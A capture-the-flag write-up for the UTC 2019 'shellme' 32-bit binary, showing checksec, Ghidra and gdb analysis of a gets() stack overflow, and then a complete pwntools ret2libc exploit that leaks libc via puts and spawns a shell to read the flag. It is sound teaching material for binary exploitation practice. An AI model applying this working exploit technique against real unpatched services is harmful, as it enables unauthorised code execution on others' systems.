Utc 2019 shellme

Downloading the binary file


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/libc6_2.27-3ubuntu1_i386.so

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/server

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ file server
server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=be2f490cdd60374344e1075c9dd31060666bd524, not stripped

[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ chmod +x server

Solution

First let's run pwn checksec on the binary file, and then execute it to see what it does:


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ pwn checksec server; ./server
[*] '/home/nothing/binexp/2/shme/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffd2a2e0 | 00 00 00 00 00 00 00 00 |
0xffd2a2e8 | 00 00 00 00 00 00 00 00 |
0xffd2a2f0 | 00 00 00 00 00 00 00 00 |
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
0xffd2a300 | ff ff ff ff ff ff ff ff |
0xffd2a308 | ff ff ff ff ff ff ff ff |
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: here is some text

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffd2a2e0 | 68 65 72 65 20 69 73 20 |
0xffd2a2e8 | 73 6f 6d 65 20 74 65 78 |
0xffd2a2f0 | 74 00 00 00 00 00 00 00 |
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
0xffd2a300 | ff ff ff ff ff ff ff ff |
0xffd2a308 | ff ff ff ff ff ff ff ff |
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
Return address: 0x0804868b

We see that we are dealing with a 32bit binary that has NX enabled, when we run the binary, and put in too much text we get the following:


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ ./server

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffd19e90 | 00 00 00 00 00 00 00 00 |
0xffd19e98 | 00 00 00 00 00 00 00 00 |
0xffd19ea0 | 00 00 00 00 00 00 00 00 |
0xffd19ea8 | 00 00 00 00 00 00 00 00 |
0xffd19eb0 | ff ff ff ff ff ff ff ff |
0xffd19eb8 | ff ff ff ff ff ff ff ff |
0xffd19ec0 | 40 75 ef f7 00 a0 04 08 |
0xffd19ec8 | d8 9e d1 ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffd19e90 | 30 30 30 30 30 30 30 30 |
0xffd19e98 | 30 30 30 30 30 30 30 30 |
0xffd19ea0 | 30 30 30 30 30 30 30 30 |
0xffd19ea8 | 30 30 30 30 30 30 30 30 |
0xffd19eb0 | 30 30 30 30 30 30 30 30 |
0xffd19eb8 | 30 30 30 30 30 30 30 30 |
0xffd19ec0 | 30 30 30 30 30 30 30 30 |
0xffd19ec8 | 30 30 30 30 30 30 30 30 |
Return address: 0x30303030

[1]    1782143 segmentation fault (core dumped)  ./server


So here we see that we can cause a seg fault when we put in too much text, now let's take a look at it from inside ghidra:

Luckily this time the main function is actually called 'main' so it was easy to find, we get the following code:


undefined4 main(void)

{
  undefined *puVar1;
  
  puVar1 = &stack0x00000004;
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  vuln(puVar1);
  return 0;
}

Here we see a function called 'vuln' so let's take a look at it:


void vuln(void)

{
  char local_3c [32];
  undefined local_1c [20];
  
  memset(local_3c,0,0x20);
  memset(local_1c,0xff,0x10);
  init_visualize(local_3c);
  visualize(local_3c);
  printf("Input some text: ");
  gets(local_3c);
  visualize(local_3c);
  return;
}

Here we see that local_3c is initially set to be able to hold only 32 bytes of data, but then we see that it gets passed into a gets() call, and we know that gets calls are vulnerable to buffer overflows because it doesn't restrict our input at all. Plus since there is no stack canary, we can overwrite the return address and get code execution, so we let's set a breakpoint after the gets call, and see where our text input is stored in memory:


[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ gdb ./server
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
    .

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./server...
(No debugging symbols found in ./server)
gef➤  disas vulnm
No symbol table is loaded.  Use the "file" command.
gef➤  disas vuln
Dump of assembler code for function vuln:
   0x080485b1 <+0>:     push   ebp
   0x080485b2 <+1>:     mov    ebp,esp
   0x080485b4 <+3>:     push   ebx
   0x080485b5 <+4>:     sub    esp,0x34
   0x080485b8 <+7>:     call   0x80484c0 <__x86.get_pc_thunk.bx>
   0x080485bd <+12>:    add    ebx,0x1a43
   0x080485c3 <+18>:    sub    esp,0x4
   0x080485c6 <+21>:    push   0x20
   0x080485c8 <+23>:    push   0x0
   0x080485ca <+25>:    lea    eax,[ebp-0x38]
   0x080485cd <+28>:    push   eax
   0x080485ce <+29>:    call   0x8048440 
   0x080485d3 <+34>:    add    esp,0x10
   0x080485d6 <+37>:    sub    esp,0x4
   0x080485d9 <+40>:    push   0x10
   0x080485db <+42>:    push   0xff
   0x080485e0 <+47>:    lea    eax,[ebp-0x18]
   0x080485e3 <+50>:    push   eax
   0x080485e4 <+51>:    call   0x8048440 
   0x080485e9 <+56>:    add    esp,0x10
   0x080485ec <+59>:    sub    esp,0xc
   0x080485ef <+62>:    lea    eax,[ebp-0x38]
   0x080485f2 <+65>:    push   eax
   0x080485f3 <+66>:    call   0x804869e 
   0x080485f8 <+71>:    add    esp,0x10
   0x080485fb <+74>:    sub    esp,0xc
   0x080485fe <+77>:    lea    eax,[ebp-0x38]
   0x08048601 <+80>:    push   eax
   0x08048602 <+81>:    call   0x80486e1 
   0x08048607 <+86>:    add    esp,0x10
   0x0804860a <+89>:    sub    esp,0xc
   0x0804860d <+92>:    lea    eax,[ebx-0x16dd]
   0x08048613 <+98>:    push   eax
   0x08048614 <+99>:    call   0x80483f0 
   0x08048619 <+104>:   add    esp,0x10
   0x0804861c <+107>:   sub    esp,0xc
   0x0804861f <+110>:   lea    eax,[ebp-0x38]
   0x08048622 <+113>:   push   eax
   0x08048623 <+114>:   call   0x8048400 
   0x08048628 <+119>:   add    esp,0x10
   0x0804862b <+122>:   sub    esp,0xc
   0x0804862e <+125>:   lea    eax,[ebp-0x38]
   0x08048631 <+128>:   push   eax
   0x08048632 <+129>:   call   0x80486e1 
   0x08048637 <+134>:   add    esp,0x10
   0x0804863a <+137>:   nop
   0x0804863b <+138>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x0804863e <+141>:   leave
   0x0804863f <+142>:   ret
End of assembler dump.
gef➤  b *vuln+119
Breakpoint 1 at 0x8048628
gef➤  r
Starting program: /home/nothing/binexp/2/shme/server

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffffd0a0 | 00 00 00 00 00 00 00 00 |
0xffffd0a8 | 00 00 00 00 00 00 00 00 |
0xffffd0b0 | 00 00 00 00 00 00 00 00 |
0xffffd0b8 | 00 00 00 00 00 00 00 00 |
0xffffd0c0 | ff ff ff ff ff ff ff ff |
0xffffd0c8 | ff ff ff ff ff ff ff ff |
0xffffd0d0 | 40 05 f9 f7 00 a0 04 08 |
0xffffd0d8 | e8 d0 ff ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: 13371337

Breakpoint 1, 0x08048628 in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd0a0  →  "13371337"
$ebx   : 0x0804a000  →  0x08049f0c  →  0x00000001
$ecx   : 0xf7f90540  →  0xfbad208b
$edx   : 0xfbad208b
$esp   : 0xffffd090  →  0xffffd0a0  →  "13371337"
$ebp   : 0xffffd0d8  →  0xffffd0e8  →  0x00000000
$esi   : 0x1
$edi   : 0x08048470  →  <_start+0> xor ebp, ebp
$eip   : 0x08048628  →   add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd090│+0x0000: 0xffffd0a0  →  "13371337"    ← $esp
0xffffd094│+0x0004: 0x000000ff
0xffffd098│+0x0008: 0x00000010
0xffffd09c│+0x000c: 0x080485bd  →   add ebx, 0x1a43
0xffffd0a0│+0x0010: "13371337"
0xffffd0a4│+0x0014: "1337"
0xffffd0a8│+0x0018: 0x00000000
0xffffd0ac│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804861f        lea    eax, [ebp-0x38]
    0x8048622        push   eax
    0x8048623        call   0x8048400 
 →  0x8048628        add    esp, 0x10
    0x804862b        sub    esp, 0xc
    0x804862e        lea    eax, [ebp-0x38]
    0x8048631        push   eax
    0x8048632        call   0x80486e1 
    0x8048637        add    esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server", stopped 0x8048628 in vuln (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048628 → vuln()
[#1] 0x804868b → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

So what we did here was first disassemble the vuln function, set the breakpoint to be right after the gets call, and then run the binary, we gave it a simple pattern (13371337) and then we hit our breakpoint. So let's search for our pattern in memory, to determine the offset in between our input and the return address:


gef➤  search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd0a0 - 0xffffd0a8  →   "13371337"

gef➤  info frame
Stack level 0, frame at 0xffffd0e0:
 eip = 0x8048628 in vuln; saved eip = 0x804868b
 called by frame at 0xffffd100
 Arglist at 0xffffd0d8, args:
 Locals at 0xffffd0d8, Previous frame's sp is 0xffffd0e0
 Saved registers:
  ebx at 0xffffd0d4, ebp at 0xffffd0d8, eip at 0xffffd0dc

Here we see that our input text is at 0xffffd0a0 and the return address is at 0xffffd0dc So we can easily find the offset from a python3 shell:


[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Nextcloud/blog]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(  0xffffd0a0  -  0xffffd0dc  )
'-0x3c'

And here we see that we have a 0x3c bytes offset between our text input and the return address. The idea here is that we're going to call an instruction pointer, but what is it that we're going to call ? All we need is just 2 libc infoleaks, and it can become possible to identify the libc versions.


[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
→ objdump -D server | grep puts
08048410 <puts@plt>:
 8048704:       e8 07 fd ff ff          call   8048410 <puts@plt>
 8048716:       e8 f5 fc ff ff          call   8048410 <puts@plt>
 8048846:       e8 c5 fb ff ff          call   8048410 <puts@plt>
 8048881:       e8 8a fb ff ff          call   8048410 <puts@plt>


[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
→ vim exploit.py

We're going to make use of guyinatuxedo's 'TheNight' Python library:


import TheNight
from pwn import *


libc = ELF("libc6_2.27-3ubuntu1_i386.so")
target = process("./server")
elf = ELF('server')


payload = ""
payload += "0"*0x3c
payload += p32(elf.symbols["puts"])
payload += p32(elf.symbols["vuln"])
payload += p32(elf.got["puts"])

target.sendline(payload)


for i in range(0, 2):
    print target.recvuntil("Return address:")


for i in range(0, 2):
    print target.recvline()


leak0 = target.recvline()[0:4]

puts = u32(leak0)

libcBase = puts - libc.symbols["puts"]

print "libc base: " + hex(libcBase)

binshOffset = 0x17e0cf

payload1 = ""
payload1 += "0"*0x3c
payload1 += p32(libcBase + libc.symbols["system"])
payload1 += p32(0x30303030)
payload1 += p32(libcBase + binshOffset)

target.sendline(payload1)

target.interactive()

And when we run it:


[*] '/Hackery/utc/shelltime/libc6_2.27-3ubuntu1_i386.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/Hackery/utc/shelltime/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba510 | 00 00 00 00 00 00 00 00 |
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | ff ff ff ff ff ff ff ff |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | c0 d5 ef f7 00 a0 04 08 |
0xffbba548 | 58 a5 bb ff 8b 86 04 08 |
Return address:
 0x0804868b

Input some text:
Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba510 | 30 30 30 30 30 30 30 30 |
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 10 84 04 08 |
Return address:
 0x08048410



libc base: 0xf7d25000
[*] Switching to interactive mode

Legend: buff \x1b[32;1mMODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | 00 00 00 00 00 00 00 00 |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | ff ff ff ff ff ff ff ff |
0xffbba548 | 00 00 00 00 30 30 30 30 |
0xffbba550 | 30 30 30 30 18 a0 04 08 |
Return address: 0x0804a018

Input some text:
Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 30 30 30 30 |
0xffbba550 | 30 30 30 30 00 22 d6 f7 |
Return address: 0xf7d62200

$ cat flag.txt
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}

And we get the flag!

Title

text


Title

text